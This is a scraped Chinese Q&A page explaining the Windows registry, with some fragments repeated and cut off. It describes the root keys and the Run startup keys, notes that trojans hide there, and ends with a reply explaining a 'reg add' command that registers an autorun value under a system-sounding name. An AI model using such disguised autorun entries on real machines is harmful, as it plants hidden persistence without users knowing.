有两个子键,第一个是存取(它最终致使一个远程键列出网络安全资源,存取权限等)和提供(包括列出网络地址和地址服务器),这个键被保留用在以后使用高级安全功能和NT兼容性上 HKEY_LOCAL_MACHINESOFTWARE 这个键列出了所有已安装的32位软件和程序的.ini文件。它包括了变化,依靠软件安装。那些程序的控制功能在这里的子键中列出。多数子键简单的列出了安装软件的版本号。 我们在MicrosoftWindowsCurrent Version下发现了一些有意思的设置,它有如下子键: 1.App paths: 你曾经安装过的所有32位软件的位置。 2.Applets, Compression, Controls Folder : 包括下控制面板象显示属性那样属性条的附件。 3.Detect, explorer :很多有意思的子键如Namespace keys of Desktop和My Computer----它们指出了回收站和拨号网络的CLSID行----和提示子键可以让你建立自己的提示。 4.Extensions : 一个扩展联系的列表,当前相关联的扩展名和比特定的执行文件更适合的目标类型。 5.Fonts, fontsize, FS Templates :系统属性条中所选择文件系统模板, 服务器,桌面计算机或者笔记本电脑信息。 6.MS-DOS Emulation :包括一个应用程序兼容子键 为大量过时的程序二进制键所设。 7.MS-DOS Options :在dos模式下的设置,如himem.sys,cd-roms等。 8.Network :网络驱动的配置。 9.Nls, Policies :系统管理员认为你不应该去做的事。 10.ProfileList :所有可以登陆你计算机的用户名列表。 11.在Windows启动时运行的程序的神秘之处是它们并不在开始菜单的启动文件夹中。它们在HKEY_LOCAL_MACHINEMicrosoftWindowsCurrentVersion下的子键中被执行。 Run : 程序在启动时运行 RunOnce : windows初始化时程序在启动时只运行一次,这个经常用在当安装软件之后需要重新启动系统的时候,所以这个键一般都是空的。 RunServices : 它就象Run一样,但是包含了“服务”,它不象一般的程序它们是比较重要的或者是“系统”程序。但是它们不是VXDs,就象McAfee或者RegServ工作一样。 RunServicesOnce : 它只运行一次,但是是“系统自身”的安装(大量的windows安装参数:通常键值包括了系统目录位置,和win95更新,可选项安装组件,和windows启动目录的子键。 注意:在很多黑客木马软件中,常常在这里添加键值(一般是在Run中),这样使得木马软件可以随着windows启动而启动并且很隐秘。在这里可以查看不正常的启动项和去掉无用的运行程序(比如我就很不喜欢超级解霸的自动伺服器,在这里可以去掉它)。 12.SharedDLLs:共享DLL的列表,每一个都给出了在一个不可知系统的一个数字等级。 13.Shell Extensions:列出了“被认可的”OLE注册条,和相应的CLSID连接。 14.ShellScrap :这个包含了一个PriorityCacheformats的子键,它包括了一个空的有限值,它更象过去SmartDrive命令行参数的派生。 15.Time Zones : 主键值是你现在的时区;子键定义了所以可能的时区。 16.Uninstall:这个保存了程序在添加/删除程序对话框的显示;子键包含了指向反安装程序的路径。和安装向导相似.......)winlogon(包含了合法登陆布告的文本句) HKEY_LOCAL_MACHINESYSTEMCurrentControlSet 这个子键包括设备驱动和其他服务的描述和控制。不同于windows nt,win95只包括限制驱动的控制设置信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControl 这个子键包括了win95控制面板中的信息。不要编辑这些信息,因为一些小程序的改变在很多地方,一个丢失的项会使这个系统变的不稳定 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 这个键包括了所有win95的标准服务。所有被添加的服务和设备,每个标准的服务键包括了它的设置和辨认设置。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesArbitrators atbitrators键包括了当两个设备共同占用同样的设置需要解决的信息。四个子键包括了内存地址,冲突,DMA,I/O端口冲突和IRQ冲突。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesClass class键包括了所有win95支持的设备classes控制,这些和你在添加新硬件出现的硬件组很类似,还包括了这些设备如何安装的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesinetaccs 这个键包括了关于这个系统变化的ie附件的可用性,它仅在你安装过ie2。0或者更高版本才出现。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesMSNP32 msnp32描述了客户机如何在microsoft网络中实现功能,它包括了认证过程和认证者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNWNP32 nenp32键描述了windows客户如何在netware网络中工作功能,它包括了关于认证过程和证明者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRemoteAccess 在这个键里包括需要远程工作在win95系统上的信息,有认证参数,主机信息,和为了建立一个拨号连接工作的协议信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSNMP 这个键包括了所以snmp(简单网络管理协议)的参数。它包括了允许的管理,配置陷阱,和有效的团体。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesVxD vxd键包括了win95中所有32位虚拟设备驱动信息,win95自动管理它们,所以不必要用注册表编辑器编辑它们,所以的静态vxds用子键列出。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWebPost webpost键包括了所有装载的internet邮局的设置,如果你连接一个isp,并且它列出载这里,你应该给自己选则一个服务器。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinsock 这个键列出了当连接到internet上winnsock文件的信息,如果列出了不正确的文件,你将不会连接上internet。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinTrust wintrust功能是检查从Internet上下载来的文件是否有病毒,它可以确保你得到干净安全的文件。 HKEY_CLASSES_ROOT 在注册表中HKEY_CLASSES_ROOT是系统中控制所有数据文件的项。这个在Win95和Winnt中是相通的。HKEY_CLASSES_ROOT控制键包括了所有文件扩展和所有和执行文件相关的文件。它同样也决定了当一个文件被双击时起反应的相关应用程序。 HKEY_CLASSES_ROOT被用作程序员在安装软件时方便的发送信息,在Win95和Winnt中,HKEY_CLASSES_ROOT和HKEY_LOCAL_MACHINESoftwareClasses是相同的。程序员在运行他们的启动程序时不需要担忧实际的位置,相反的,他们只需要在HKEY_CLASSES_ROOT中加入数据就可以了。 在Windows用户图形界面下,每件事----每个文件,每个目录,每个小程序,每个连接,每个驱动---都被看做一个对象;每个对象都有确定的属性和它联系。HKCR包含着对象类型和它们属性的列表。HKCR主要的功能被设置为: 一个对象类型和一个文件扩展名关联 一个对象类型和一种图标关联 一个对象类型和一个命令行动作的关联 定义对象类型相关菜单选项和定义每一个对象类型属性选项 在Win95中,相关菜单就是当你鼠标右击一个对象时所弹出的菜单;属性就是当你选择属性项后一个展开的对话框。用简单术语来说就是在改变HKCR中的设置可以改变一个给定文件扩展名缺省的关联。改变一个文件类型的缺省图标,和添加或者删除给定对象类型的弹出菜单内容(或者所有的对象类型) HKCR包括了三种基本类型的子键 ??? 或者文件扩展名子键 文件扩展名子键在弹出菜单上连接文件扩展名到对象类型和相关操作,属性项,和相关操作。 object 类型子键 对象类型子键定义了一个对象类型在它缺省图标的项,它的弹出菜单和属性项,它的相关操作和它的CLSID连接。 CLSID 子键 在Windows下每件事都被用一个数字取代它的名字来对待。就象人往往是用名字来处理事情一样。CLSID是标识所有列出的图标,应用程序,目录,文件类型等等对象的数字。是微软为制造商分配的,每一个都必须是唯一的。制造商将CLSID放入安装程序文件这样就可以在安装时更新注册表。 注册表是应用程序进行时它们需要关于做什么的指示的数据库。比如说,假定你有一个微软Excel 7电子数据表的Word 7文档,当你在Word中双击这个电子数据表,应用程序菜单就会变成Excel的菜单而且电子数据表进入编辑状态,就好象你在Excel中一样。它是如何知道该做什么呢?每个Excel 7创建的文件都有Excel的CLSID连接。Word读这个CLSID后,到注册表中寻找指示,依赖CLSID下的数据运行.DLL文件或者应用程序。 CLSID子键为对象类型提供了OLE和DDE信息和图标。相关菜单,或者包含在它子键中的属性项信息。这个可能是多数让人看到后觉得“恐怖”的键。每个CLSID数必须是唯一的,实际上,为了这个目的微软已经出产了CLSID-产生程序--这个结果导致你往往得到32位16进制的数字串,除非你是程序员,否则多数部分键看起来是很枯燥的。它们包括内存管理模式,客户机/服务器配置,和OLE处理的.dll连接。 关于子键的一点注解 1)shell:Shell键有个一”action“子键,如同”open“一样,这里有一个command子键;command子键有一个缺省句值,它包含了运行程序的
2023-07-20 11:14:224

什么是注册表,起什么作用呢?

以下是很通俗的语言:什么是注册表? 注册表因为它复杂的结构和没有任何联系的CLSID键使得它可能看上去很神秘。不幸的是,微软并没有完全公开讲述关于注册表正确设置的支持信息,这样使得注册表看上去更不可琢磨。处理和编辑注册表如同“黑色艺术”一样,它在系统中的设置让用户感觉象在黑暗中摸索一样找不到感觉。这样,因为用户对这方面的缺乏了解使得注册表更多的出现故障。 Windows注册表是帮助Windows控制硬件、软件、用户环境和Windows界面的一套数据文件,注册表包含在Windows目录下两个文件system.dat和user.dat里,还有它们的备份system.da0和user.da0。通过Windows目录下的regedit.exe程序可以存取注册表数据库。在以前,在windows的更早版本(在win95以前),这些功能是靠win.ini,system.ini和其他和应用程序有关联的.ini文件来实现的. 在windows操作系统家族中,system.ini和win.ini这两个文件包含了操作系统所有的控制功能和应用程序的信息,system.ini管理计算机硬件而win.ini管理桌面和应用程序。所有驱动、字体、设置和参数会保存在.ini文件中,任何新程序都会被记录在.ini文件中。这些记录会在程序代码中被引用。因为受win.ini和system.ini文件大小的限制,程序员添加辅助的.INI文件以用来控制更多的应用程序。举例来说,微软的Excel有一个excel.ini文件,它包含着选项、设置、缺省参数和其他关系到Excel运行正常的信息。在system.ini和win.ini中只需要指出excel.ini的路径和文件名即可。 最开始,system.ini和win.ini控制着所有windows和应用程序的特征和存取方法,它在少数的用户和少数应用程序的环境中工作的很好。随着应用程序的数量和复杂性越来越大,则需要在.ini文件中添加更多的参数项。这样下来,在一个变化的环境中,在应用程序安装到系统中后,每个人都会更改.ini文件。然而,没有一个人在删除应用程序后删除.ini文件中的相关设置,所以system.ini和win.ini这个两个文件会变的越来越大。每增加的内容会导致系统性能越来越慢。而且每次应用程序的升级都出现这样的难题:升级会增加更多的参数项但是从来不去掉旧的设置。而且还有一个明显的问题,一个.ini文件的最大尺寸是64KB。为了解决这个问题,软件商自己开始支持自己的.ini文件,然后指向特定的ini文件如win.ini和system.ini文件。这样下来多个.ini文件影响了系统正常的存取级别设置。如果一个应用程序的.ini文件和WIN.INI文件设置起冲突,究竟是谁的优先级更高呢? 注册表最初被设计为一个应用程序的数据文件相关参考文件,最后扩展成对于32位操作系统和应用程序包括了所有功能下的东东.注册表是一套控制操作系统外表和如何响应外来事件工作的文件。这些“事件”的范围从直接存取一个硬件设备到接口如何响应特定用户到应用程序如何运行等等。注册表因为它的目的和性质变的很复杂,它被设计为专门为32位应用程序工作,文件的大小被限制在大约40MB。 注册表都做些什么? 注册表是为Windows NT和Windows95中所有32位硬件/驱动和32位应用程序设计的数据文件。16位驱动在Winnt下无法工作,所以所有设备都通过注册表来控制,一般这些是通过BIOS来控制的。在Win95下,16位驱动会继续以实模式方式设备工作,它们使用system.ini来控制。16位应用程序会工作在NT或者Win95 下,它们的程序仍然会参考win.ini和system.ini文件获得信息和控制。 在没有注册表的情况下,操作系统不会获得必须的信息来运行和控制附属的设备和应用程序及正确响应用户的输入。 在系统中注册表是一个记录32位驱动的设置和位置的数据库。当操作系统需要存取硬件设备,它使用驱动程序,甚至设备是一个BIOS支持的设备。无BIOS支持设备安装时必须需要驱动,这个驱动是独立于操作系统的,但是操作系统需要知道从哪里找到它们,文件名、版本号、其他设置和信息,没有注册表对设备的记录,它们就不能被使用。 当一个用户准备运行一个应用程序,注册表提供应用程序信息给操作系统,这样应用程序可以被找到,正确数据文件的位置被规定,其他设置也都可以被使用。 注册表保存关于缺省数据和辅助文件的位置信息、菜单、按钮条、窗口状态和其他可选项。它同样也保存了安装信息(比如说日期),安装软件的用户,软件版本号和日期,序列号等。根据安装软件的不同,它包括的信息也不同。 然而,一般来说,注册表控制所有32位应用程序和驱动,控制的方法是基于用户和计算机的,而不依赖于应用程序或驱动,每个注册表的参数项控制了一个用户的功能或者计算机功能。用户功能可能包括了桌面外观和用户目录。所以,计算机功能和安装的硬件和软件有关,对所以用户来说项都是公用的。 有些程序功能对用户有影响,有些时作用于计算机而不是为个人设置的,同样的,驱动可能是用户指定的,但在很多时候,它们在计算机中是通用的。 注册表控制用户模式的例子有: 控制面板功能; 桌面外观和图标; 网络参数; 浏览器功能性和特征; 那些功能中的某些是和用户无关的,有些是针对用户的。 计算机相关控制项基于计算机名,和登陆用户无关。控制类型的例子是安装一个应用程序,不管是哪个用户,程序的可用性和存取是不变的,然而,运行程序图标依赖于网络上登陆的用户。网络协议可用性和优先权基于计算机,但是当前连接和用户信息相关。 这里是在注册表中基与计算机控制条目的一些例子: 存取控制; 登陆确认; 文件和打印机共享; 网卡设置和协议; 系统性能和虚拟内存设置; 没有了注册表,Win95和Winnt 就不太可能存在。它们实在太复杂了,以致于用过去的.ini文件无法控制,它们的扩展能力需要几乎无限制的安装和使用应用程序,注册表实现了它。然而,注册表比.ini文件更复杂,理解它如何工作,它做什么和如何用它来做是有效管理系统的关键。 在系统中注册表控制所有32位应用程序和它们的功能及多个应用程序的交互,比如复制和粘贴,它也控制所有的硬件和驱动程序。虽然多数可以通过控制面板来安装和设置,理解注册表仍是做Winnt和Win95系统管理基本常识。 二、注册表的结构 注册表的结构 注册表是Windows程序员建造的一个复杂的信息数据库,它是多层次式的。在不同系统上注册表的基本结构相同。其中的复杂数据会在不同方式上结合,从而产生出一个绝对唯一的注册表。 计算机配置和缺省用户设置的注册表数据在Winnt中被保存在下面这五个文件中: DEFAULT,SAM,SECURITY,SOFTWARE,SYSTEM,NTUSER.DAT。 Win95中所有系统注册信息保存在windows目录下的SYSTEM.DAT文件里。所有硬件设置和软件信息也保存在这个文件。它要比NT注册表文件简单的多,因为这里并不需要更多的控制。Win95被设计为一个网络的客户或者单独工作的系统,所以用户控制或者安全级别和NT不一样。这使得Win95注册表工作比NT更容易,所以这个文件也比较小。 Win95用户的注册数据一般被保存在windows目录下的user.dat里。如果你在控制面板|密码|用户配置文件中创建并使用多于一个用户的配置文件,每个用户就会有在WINDOWSProfilesusernameUSER.DAT下它自己的user.dat文件。在启动时,系统将记录你的登陆,从你目录中的配置文件(USER.DAT信息)将被装入,以用来保持你自己的桌面和图标。 控制键 在注册表编辑器中注册表项是用控制键来显示或者编辑的。控制键使得找到和编辑信息项组更容易。因此,注册表使用这些条目。下面是六个控制键 HKEY_LOCAL_MACHINE HKEY_CLASSES_ROOT HKEY_CURRENT_CONFIG HKEY_DYN_DATA HKEY_USERS HKEY_CURRENT_USER Winnt和Win95的注册表并不兼容。从Win95向Winnt升级需要你重新安装32位应用程序,重新在桌面上创建图标,并重新建立用户环境。 通过控制键可以比较容易编辑注册表。虽然它们显示和编辑好象独立的键,其实HKEY_CLASSES_ROOT 和HKEY_CURRENT_CONFIG是 HKEY_LOCAL_MACHINE的一部分。HKEY_CURRENT_USER是HKEY_USERS的一部分。 HKEY_LOCAL_MACHINE包含了HKEY_CLASSES_ROOT和HKEY_CURRENT_CONFIG的所有内容。每次计算机启动时,HKEY_CURRENT_CONFIG和HKEY_CLASSES_ROOT的信息被映射用以查看和编辑。 HKEY_CLASSES_ROOT其实就是HKEY_LOCAL_MACHINESOFTWAREClasses,但是在HKEY_CLASSES_ROOT窗编辑相对来说显得更容易和有条理。 HKEY_USERS保存着缺省用户信息和当前登陆用户信息。当一个域成员计算机启动并且一个用户登陆,域控制器自动将信息发送到HKEY_CURRENT_USER里,而且HKEY_CURRENT_USER信息被映射到系统内存中。其他用户的信息并不发送到系统,而是记录在域控制器里。 键和子键 数据被分割成多层次的键和子键,建立分层次(就象Exploer一样)结构更易于编辑。每个键有成组的信息而且根据在其中的数据类型被命名。每个键在它的文件夹图标上都有一个加号(+)标志子键说明在它下面还有更多内容的东西。当点开它的时候,文件夹的加号标志被替换成一个减号(-)标志,然后显示出下一级的子键。 所有软件,硬件,windows工作的设置都存放在HKEY_LOCAL_MACHINE。所有安全策略,用户权限和共享信息也包括在这个键中。用户权限,安全策略,共享信息可以通过Windows NT域用户管理器,Explorer和Win95中控制面板来设置。 HKEY_CLASSES_ROOT HKEY_CLASSES_ROOT包含了所有应用程序运行时必需的信息: 在文件和应用程序之间所有的扩展名和关联; 所有的驱动程序名称; 类的ID数字(所要存取项的名字用数字来代替); DDE和OLE的信息; 用于应用程序和文件的图标; HKEY_CURRENT_CONFIG. HKEY_CURRENT_CONFIG是在HKEY_LOCAL_MACHINE中当前硬件配置信息的映射。如果系统只有一个配置文件,也就是原始配置,数据将一直在同样的地方。在控制面板|系统|硬件配置文件|创建一个额外的配置使额外配置信息放入HKEY_LOCAL_MACHINE。当Win95中存在多个配置文件时,当每次计算机启动时将给出一个提示让你选择一个配置文件。在Winnt中,在启动时你可以按空格键来选择上次正常启动时硬件配置文件。根据硬件配置文件选择的不同,特定的信息被映射到HKEY_CURRENT_CONFIG。 HKEY_DYN_DATA HKEY_DYN_DATA和其他的注册表控制键不同,因为实际上它并不被写入硬盘驱动器中。Win95的一个优点是,在系统启动时HKEY_DYN_DATA这个控制键储存收集到的即插即用信息并配置它们。它保存在内存中,Win95用它来控制硬件。因为是在内存中,所以它不从硬盘中读取,每次当你启动计算机时,配置都有可能会不一样。在启动时Win95必须计算超过1600种可能的配置。所以,如果系统改变既定的设置而没有报告给Win95那么潜在的问题就可能发生。系统大多数时间工作良好,但是并非一直如此。 HKEY_USERS HKEY_USERS仅包含了缺省用户设置和登陆用户的信息。虽然它包含了所有独立用户的设置,但在用户未登陆网络时用户的设置是不可用的。这些设置告诉系统哪些图标会被使用,什么组可用,哪个开始菜单可用,哪些颜色和字体可用,和控制面板上什么选项和设置可用。 HKEY_CURRENT_USER 用来保存当前用户和缺省用户的信息,HKEY_CURRENT_USER仅映射当前登陆用户的信息。 各主键的简单介绍 HKEY_LOCAL_MACHINE HKEY_LOCAL_MACHINE是一个显示控制系统和软件的处理键。HKLM键保存着计算机的系统信息。它包括网络和硬件上所有的软件设置。(比如文件的位置,注册和未注册的状态,版本号等等)这些设置和用户无关,因为这些设置是针对使用这个系统的所有用户的。 HKEY_LOCAL_MACHINEAppEvents 为了以后在瘦客户机上运行客户机/服务器这样的应用程序,在Win95/98中AppEvents键是空的。应用程序实际上都驻留网络服务器上,这些键会保存部分指针。 HKEY_LOCAL_MACHINEConfig 这个键保存着你计算机上所有不同的硬件设置(这些从控制面板的系统属性中硬件配置文件中可以创建)。这些配置在启动时通常被复制到HKCC。每个配置会被用一个键(比如0001或者0002等等)来保存,每个都是一个独立的配置。如果你只有一个单一的配置,那就只会有0001这个键 HKEY_LOCAL_MACHINEConfig001Display 这个键表示显示的设置,如荧屏字体,窗体大小,窗体位置和分辨率等 一个小技巧:当设置了计算机不支持的大分辨率导致Windows不能启动时(黑屏),可以修改分辨率来解决。进入安全模式,运行regedit.exe,在这个键的Resolution键值中把数据值修改为640,480或者800,600这样的低分辨率,然后重新启动计算机即可。 HKEY_LOCAL_MACHINEConfig001System 这个键保存着系统里打印机的信息 HKEY_LOCAL_MACHINEConfig001SystemCurrentControlSetControlPrintPrinters 在这个键下面,有一个键是为系统上每一个打印机设置的,通过控制面板添加和删除打印机会调整这个列表 HKEY_LOCAL_MACHINEEnum Enum键包含启动时发现的硬件设备和那些既插即用卡的信息。Win95使用总线列举在启动时通过不同的.ini文件来检测硬件信息。那些在启动时被安装的和被检测到的硬件会显示在这里。子键包括BIOS, ESDI, FLOP, HTREE, ISAPNP, Monitor, Network, Root, SCSI, 和 VIRTUAL。子键名表示它们各自的硬件设备信息。 HKEY_LOCAL_MACHINEEnumBIOS BIOS键保存着系统中所有即插即用设备的信息。它们用一套代码数列出,包括每一个键的详细说明,举例,*pnp0400是并行口LPT1的键。如果LPT1并不具备即插即用功能,它就会别列入到Enum下的Root键中 HKEY_LOCAL_MACHINEEnumRoot Root键包括所有非即插即用设备的信息。在这里,我们可以迅速断定哪些设备是即插即用,那些不是。比如SCSI适配器,这个设备必须符合Win95中一个键名为ForcedConfig的硬件设置,这个不会改变。 HKEY_LOCAL_MACHINEEnumNetwork win95的网络功能在这个键有详细说明,子键包括了每个已经安装的主要的服务和协议。 HKEY_LOCAL_MACHINEHARDWARE hardware子键包括了两个多层的子键:DESCRIPTION键,它包含了中央处理器和一个浮点处理器的信息。还有一个设备映射键,它下面的串行键列出你所有的com端口。这个hardware键仅保存超级终端程序的信息,及数学处理器和串行口。 HKEY_LOCAL_MACHINENetwork 这个键仅保存网络登陆信息。所有网络服务细节都保存在HKEY_LOCAL_MACHINEEnumNetwork这个键中。这个键有一个子键,logon,包括了lmlogon(本地机器登陆?0=false 1=true)的值,logonvalidated(必须登陆验证),策略处理,主登陆方式(Windows登陆 ,微软网络客户方式等),用户名和用户配置。 HKEY_LOCAL_MACHINESECURITY security 有两个子键,第一个是存取(它最终致使一个远程键列出网络安全资源,存取权限等)和提供(包括列出网络地址和地址服务器),这个键被保留用在以后使用高级安全功能和NT兼容性上 HKEY_LOCAL_MACHINESOFTWARE 这个键列出了所有已安装的32位软件和程序的.ini文件。它包括了变化,依靠软件安装。那些程序的控制功能在这里的子键中列出。多数子键简单的列出了安装软件的版本号。 我们在MicrosoftWindowsCurrent Version下发现了一些有意思的设置,它有如下子键: 1.App paths: 你曾经安装过的所有32位软件的位置。 2.Applets, Compression, Controls Folder : 包括下控制面板象显示属性那样属性条的附件。 3.Detect, explorer :很多有意思的子键如Namespace keys of Desktop和My Computer----它们指出了回收站和拨号网络的CLSID行----和提示子键可以让你建立自己的提示。 4.Extensions : 一个扩展联系的列表,当前相关联的扩展名和比特定的执行文件更适合的目标类型。 5.Fonts, fontsize, FS Templates :系统属性条中所选择文件系统模板, 服务器,桌面计算机或者笔记本电脑信息。 6.MS-DOS Emulation :包括一个应用程序兼容子键 为大量过时的程序二进制键所设。 7.MS-DOS Options :在dos模式下的设置,如himem.sys,cd-roms等。 8.Network :网络驱动的配置。 9.Nls, Policies :系统管理员认为你不应该去做的事。 10.ProfileList :所有可以登陆你计算机的用户名列表。 11.在Windows启动时运行的程序的神秘之处是它们并不在开始菜单的启动文件夹中。它们在HKEY_LOCAL_MACHINEMicrosoftWindowsCurrentVersion下的子键中被执行。 Run : 程序在启动时运行 RunOnce : windows初始化时程序在启动时只运行一次,这个经常用在当安装软件之后需要重新启动系统的时候,所以这个键一般都是空的。 RunServices : 它就象Run一样,但是包含了“服务”,它不象一般的程序它们是比较重要的或者是“系统”程序。但是它们不是VXDs,就象McAfee或者RegServ工作一样。 RunServicesOnce : 它只运行一次,但是是“系统自身”的安装(大量的windows安装参数:通常键值包括了系统目录位置,和win95更新,可选项安装组件,和windows启动目录的子键。 注意:在很多黑客木马软件中,常常在这里添加键值(一般是在Run中),这样使得木马软件可以随着windows启动而启动并且很隐秘。在这里可以查看不正常的启动项和去掉无用的运行程序(比如我就很不喜欢超级解霸的自动伺服器,在这里可以去掉它)。 12.SharedDLLs:共享DLL的列表,每一个都给出了在一个不可知系统的一个数字等级。 13.Shell Extensions:列出了“被认可的”OLE注册条,和相应的CLSID连接。 14.ShellScrap :这个包含了一个PriorityCacheformats的子键,它包括了一个空的有限值,它更象过去SmartDrive命令行参数的派生。 15.Time Zones : 主键值是你现在的时区;子键定义了所以可能的时区。 16.Uninstall:这个保存了程序在添加/删除程序对话框的显示;子键包含了指向反安装程序的路径。和安装向导相似.......)winlogon(包含了合法登陆布告的文本句) HKEY_LOCAL_MACHINESYSTEMCurrentControlSet 这个子键包括设备驱动和其他服务的描述和控制。不同于windows nt,win95只包括限制驱动的控制设置信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControl 这个子键包括了win95控制面板中的信息。不要编辑这些信息,因为一些小程序的改变在很多地方,一个丢失的项会使这个系统变的不稳定 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 这个键包括了所有win95的标准服务。所有被添加的服务和设备,每个标准的服务键包括了它的设置和辨认设置。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesArbitrators atbitrators键包括了当两个设备共同占用同样的设置需要解决的信息。四个子键包括了内存地址,冲突,DMA,I/O端口冲突和IRQ冲突。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesClass class键包括了所有win95支持的设备classes控制,这些和你在添加新硬件出现的硬件组很类似,还包括了这些设备如何安装的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesinetaccs 这个键包括了关于这个系统变化的ie附件的可用性,它仅在你安装过ie2。0或者更高版本才出现。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesMSNP32 msnp32描述了客户机如何在microsoft网络中实现功能,它包括了认证过程和认证者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNWNP32 nenp32键描述了windows客户如何在netware网络中工作功能,它包括了关于认证过程和证明者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRemoteAccess 在这个键里包括需要远程工作在win95系统上的信息,有认证参数,主机信息,和为了建立一个拨号连接工作的协议信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSNMP 这个键包括了所以snmp(简单网络管理协议)的参数。它包括了允许的管理,配置陷阱,和有效的团体。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesVxD vxd键包括了win95中所有32位虚拟设备驱动信息,win95自动管理它们,所以不必要用注册表编辑器编辑它们,所以的静态vxds用子键列出。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWebPost webpost键包括了所有装载的internet邮局的设置,如果你连接一个isp,并且它列出载这里,你应该给自己选则一个服务器。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinsock 这个键列出了当连接到internet上winnsock文件的信息,如果列出了不正确的文件,你将不会连接上internet。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinTrust wintrust功能是检查从Internet上下载来的文件是否有病毒,它可以确保你得到干净安全的文件。 HKEY_CLASSES_ROOT 在注册表中HKEY_CLASSES_ROOT是系统中控制所有数据文件的项。这个在Win95和Winnt中是相通的。HKEY_CLASSES_ROOT控制键包括了所有文件扩展和所有和执行文件相关的文件。它同样也决定了当一个文件被双击时起反应的相关应用程序。 HKEY_CLASSES_ROOT被用作程序员在安装软件时方便的发送信息,在Win95和Winnt中,HKEY_CLASSES_ROOT和HKEY_LOCAL_MACHINESoftwareClasses是相同的。程序员在运行他们的启动程序时不需要担忧实际的位置,相反的,他们只需要在HKEY_CLASSES_ROOT中加入数据就可以了。 在Windows用户图形界面下,每件事----每个文件,每个目录,每个小程序,每个连接,每个驱动---都被看做一个对象;每个对象都有确定的属性和它联系。HKCR包含着对象类型和它们属性的列表。HKCR主要的功能被设置为: 一个对象类型和一个文件扩展名关联 一个对象类型和一种图标关联 一个对象类型和一个命令行动作的关联 定义对象类型相关菜单选项和定义每一个对象类型属性选项 在Win95中,相关菜单就是当你鼠标右击一个对象时所弹出的菜单;属性就是当你选择属性项后一个展开的对话框。用简单术语来说就是在改变HKCR中的设置可以改变一个给定文件扩展名缺省的关联。改变一个文件类型的缺省图标,和添加或者删除给定对象类型的弹出菜单内容(或者所有的对象类型) HKCR包括了三种基本类型的子键 ??? 或者文件扩展名子键 文件扩展名子键在弹出菜单上连接文件扩展名到对象类型和相关操作,属性项,和相关操作。 object 类型子键 对象类型子键定义了一个对象类型在它缺省图标的项,它的弹出菜单和属性项,它的相关操作和它的CLSID连接。 CLSID 子键 在Windows下每件事都被用一个数字取代它的名字来对待。就象人往往是用名字来处理事情一样。CLSID是标识所有列出的图标,应用程序,目录,文件类型等等对象的数字。是微软为制造商分配的,每一个都必须是唯一的。制造商将CLSID放入安装程序文件这样就可以在安装时更新注册表。 注册表是应用程序进行时它们需要关于做什么的指示的数据库。比如说,假定你有一个微软Excel 7电子数据表的Word 7文档,当你在Word中双击这个电子数据表,应用程序菜单就会变成Excel的菜单而且电子数据表进入编辑状态,就好象你在Excel中一样。它是如何知道该做什么呢?每个Excel 7创建的文件都有Excel的CLSID连接。Word读这个CLSID后,到注册表中寻找指示,依赖CLSID下的数据运行.DLL文件或者应用程序。 CLSID子键为对象类型提供了OLE和DDE信息和图标。相关菜单,或者包含在它子键中的属性项信息。这个可能是多数让人看到后觉得“恐怖”的键。每个CLSID数必须是唯一的,实际上,为了这个目的微软已经出产了CLSID-产生程序--这个结果导致你往往得到32位16进制的数字串,除非你是程序员,否则多数部分键看起来是很枯燥的。它们包括内存管理模式,客户机/服务器配置,和OLE处理的.dll连接。 关于子键的一点注解 1)shell:Shell键有个一”action“子键,如同”open“一样,这里有一个command子键;command子键有一个缺省句值,它包含了运行程序的命令行。将一个”open“子键放在一个对象类型的shell子键中会在这个对象类型的弹出菜单上多出一个”open“选项,给这个open子键一个command(缺省命令行"C:Windows Notepad.exe %1")子键会使得打开这个对象类型时使用笔记本做为缺省应用程序。其他操作选项包括View,Print,Copy,Virus,Scan等等。 2)shellex:Shellex键有一个子键。它们包含的每一个子键指向一个为对象类型执行OLE和DDE功能的CLSID项(比如说快速查看,一个菜单处理子键下指向一个有句值的CLSID键列出了包含了文件浏览功能的.dll文件) 3)shellnew:ShellNew包含了一个“command”句,它包含了一个打开对象类型“新”文件的命令行。 4)DefaultIcon:DefaultIcon子键包含了一个“default”句,?/div>
2023-07-20 11:14:303

再次求教大虾在运行这个命令的时候“reg add "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun"

可以理解为一个注册表文件,并通过命令行把其写入注册表,解释如下:在"HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun"下创建一个名为"Windows Mobile Device Center"的健,数据类型为REG_EXPAND_SZ ,该健的值="mspaint.exe"以上操作可以达到在windows操作系统的自动运行下添加"Windows Mobile Device Center"随系统启动一起启动.Windows Mobile Device Center是windows的一个叫做"windows设备中心""windows设备中心"是Microsoft ActiveSync (R) 的新名称,它为 Windows 7 提供针对 Windows Mobile 驱动的设备的总设备管理功能。可以参考("Windows 7的设备中心有什么作用")http://www.mscto.com/windows7/223377.htmlreg命令参数解释:可以在命令行中输入查看reg add /? 来查看reg命令的具体参数:在64位系统下:REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f] 